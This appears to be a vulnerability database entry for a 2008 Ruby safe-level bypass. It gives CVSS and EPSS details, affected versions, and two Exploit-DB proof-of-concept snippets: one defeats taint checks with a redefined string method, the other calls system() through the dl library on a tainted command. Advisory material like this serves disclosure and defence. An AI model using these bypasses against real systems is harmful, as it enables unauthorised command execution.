Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 32224
Publication date : 2008-08-10 22h00 +00:00
Author : Keita Yamaguchi
EDB Verified : Yes
source: https://www.securityfocus.com/bid/30644/info
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
class Hello
def world
Thread.new do
$SAFE = 4
msg = "Hello, World!"
def msg.size
self.replace self*10 # replace string
1 # return wrong size
end
msg
end.value
end
end
$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
puts s if s.size < 20 # print string which size is less than 20
end
Exploit Database EDB-ID : 32223
Publication date : 2008-08-10 22h00 +00:00
Author : Keita Yamaguchi
EDB Verified : Yes
source: https://www.securityfocus.com/bid/30644/info
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
Products Mentioned
Configuraton 0
Ruby-lang>>Ruby >> Version To (including) 1.8.5
Ruby-lang>>Ruby >> Version 1.6.8
Ruby-lang>>Ruby >> Version 1.8.0
Ruby-lang>>Ruby >> Version 1.8.1
Ruby-lang>>Ruby >> Version 1.8.1
Ruby-lang>>Ruby >> Version 1.8.2
Ruby-lang>>Ruby >> Version 1.8.2
Ruby-lang>>Ruby >> Version 1.8.2
Ruby-lang>>Ruby >> Version 1.8.2
Ruby-lang>>Ruby >> Version 1.8.3
Ruby-lang>>Ruby >> Version 1.8.3
Ruby-lang>>Ruby >> Version 1.8.3
Ruby-lang>>Ruby >> Version 1.8.3
Ruby-lang>>Ruby >> Version 1.8.4
Ruby-lang>>Ruby >> Version 1.8.4
Ruby-lang>>Ruby >> Version 1.8.4
Ruby-lang>>Ruby >> Version 1.8.4
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.5
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.6
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.8.7
Ruby-lang>>Ruby >> Version 1.9.0
References